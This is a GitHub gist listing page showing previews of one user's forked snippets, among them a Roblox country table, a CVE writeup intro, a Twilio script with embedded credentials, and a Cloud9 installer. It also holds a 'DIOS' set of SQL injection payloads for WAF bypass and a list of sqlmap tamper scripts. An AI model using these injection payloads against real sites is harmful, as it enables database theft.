Skip to content

Instantly share code, notes, and snippets.

View im-hanzou's full-sized avatar
💭
I may be slow to respond.

Hanzou Urushihara im-hanzou

💭
I may be slow to respond.
View GitHub Profile
@im-hanzou
im-hanzou / README.md
Created May 28, 2025 11:38 — forked from mov-ebx/README.md
Roblox LocalizationService Countries + Flags

🌐 Roblox countries + flags

A LUA dictionary with every country code supported by Roblox's Localization Service, includes country's name and flag

The script is provided under this gist, however you can also use the require:

require(13144850866) -- returns dictionary

📜 Examples

@im-hanzou
im-hanzou / writeup.md
Created April 9, 2025 11:03 — forked from parrot409/writeup.md
CVE-2025-3155 writeup - Affecting Ubuntu distros

Details

Intro

CVE-2025-3155 affects Yelp which is The Gnome's user help application. It's installed by default on Ubuntu desktop.

what is a scheme

A URI scheme is the part of a Uniform Resource Identifier (URI) that identifies a protocol or a specific application (steam://run/1337) that should handle the resource identified by the URI. It's the part that comes before the colon (://).

@im-hanzou
im-hanzou / balancechecker.js
Created August 25, 2024 16:03 — forked from nidhinkumar06/balancechecker.js
Twilio Balance Checker
function checkTwilioBalance() {
var options = {};
options.headers = {"Authorization": "Basic " + Utilities.base64Encode('AC123abc45678901c3ff481ea2' + ":" + 'baa9fe5ad79a7a97dxxx00c012a3d4ce')};
var url = 'https://api.twilio.com/2010-04-01/Accounts/AC123abc45678901c3ff481ea2/Balance.json';
var response = UrlFetchApp.fetch(url, options);
//parse JSON
var json = response.getContentText();
var data = JSON.parse(json);
@im-hanzou
im-hanzou / c9sdk-installer.sh
Last active August 23, 2024 19:20 — forked from ChristopherDosin/installc9.sh
Simple script to install Cloud9 on an Ubuntu Server
#!/bin/bash
# Simple script to install Cloud9 on an Ubuntu Server
apt-get update && apt-get install build-essential git nodejs npm python2 -y
curl -k https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py; python2 get-pip.py
git clone https://github.com/c9/core.git c9sdk
c9sdk/scripts/install-sdk.sh
#nodejs c9sdk/server.js -p 8080 -a -w ~~/your/directory/workspace
nodejs c9sdk/server.js -p 8080 -a user:pass
@im-hanzou
im-hanzou / dios-bypass-waf.txt
Created August 14, 2024 17:27 — forked from zetc0de/dios-bypass-waf.txt
DIOS (Dump In One Shoot) Collection bypass WAF
DIOS (Dump In One Shot) Collection
=======================================
concat_ws('<br>','zet',database(),version(),user(),@@hostname,(select(group_concat('<br>',table_name,':',column_name))from(information_schema.columns)where(table_Schema=database())))
(select%20(@x)%20from%20(select%20(@x:=0x00),(select%20(0)%20from%20(information_schema.schemata)%20where%20(0x00)%20in%20(@x:=concat(@x,0x3c62723e,schema_name))))x)
(select%20(@x)%20from%20(select%20(@x:=0x00),(select%20(0)%20from%20(information_schema.tables)%20where%20(table_schema=database())%20and%20(0x00)%20in%20(@x:=concat(@x,0x3c62723e,table_name))))x)
@im-hanzou
im-hanzou / PackerDecoder.Test.swift
Created June 18, 2024 09:57 — forked from SuperMarcus/PackerDecoder.Test.swift
Decoder for PACKER encoded JS Code
//
// This file is part of the NineAnimator project.
//
// Copyright © 2018-2019 Marcus Zhou. All rights reserved.
//
// NineAnimator is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
@im-hanzou
im-hanzou / sqlmap tamper scripts
Created April 3, 2024 12:27 — forked from v3rlly/sqlmap tamper scripts
Sqlmap TamperScripts
************General Scripts
--tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
apostrophemask
Replaces apostrophe character with its UTF-8 full width counterpart
apostrophenullencode
Replaces apostrophe character with its illegal double unicode counterpart
base64encode
@im-hanzou
im-hanzou / xz-backdoor.md
Created March 30, 2024 23:37 — forked from thesamesam/xz-backdoor.md
xz-utils backdoor situation

FAQ on the xz-utils backdoor

Background

On March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that gives developers lossless compression. This package is commonly used for compressing release tarballs, software packages, kernel images, and initramfs images. It is very widely distributed, statistically your average Linux or macOS system will have it installed for

@im-hanzou
im-hanzou / ChromeAppDownloader.py
Created March 18, 2024 07:23 — forked from ckuethe/ChromeAppDownloader.py
Python Script to download the Chrome Extensions (CRX) file directly from the google chrome web store.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
raise RuntimeError("Totally unmaintained, probably broken, but I have a hard time deleting anything")
"""
Python Script to download the Chrome Extensions (CRX) file directly from the google chrome web store.
Referred from chrome-extension-downloader dot com slash how-does-it-work dot php
"""
777 Brockton Avenue, Abington MA 2351
30 Memorial Drive, Avon MA 2322
250 Hartford Avenue, Bellingham MA 2019
700 Oak Street, Brockton MA 2301
66-4 Parkhurst Rd, Chelmsford MA 1824
591 Memorial Dr, Chicopee MA 1020
55 Brooksby Village Way, Danvers MA 1923
137 Teaticket Hwy, East Falmouth MA 2536
42 Fairhaven Commons Way, Fairhaven MA 2719
374 William S Canning Blvd, Fall River MA 2721